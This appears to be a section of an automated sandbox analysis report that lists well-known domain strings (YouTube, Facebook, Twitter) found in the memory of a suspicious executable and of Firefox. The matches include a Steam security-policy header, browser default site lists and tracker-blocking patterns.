Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=4ea6ad161ff4b3c461cb1321; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 23 Oct 2024 15:52:01 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: aae25c676b.exe, 00000009.00000002.2562821885.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=b5c6540cea8b0a22519f81b6; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 23 Oct 2024 15:51:46 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HX8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details. equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details. equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E90C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E910000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2860117948.000002EE59D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"user": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.2860117948.000002EE59D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"user": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: gCustomizeMode.addToPanel(this.parentNode.triggerNode, 'panelitem-context')https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: gCustomizeMode.addToPanel(this.parentNode.triggerNode, 'panelitem-context')https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: gCustomizeMode.addToPanel(this.parentNode.triggerNode, 'panelitem-context')https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2935687612.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
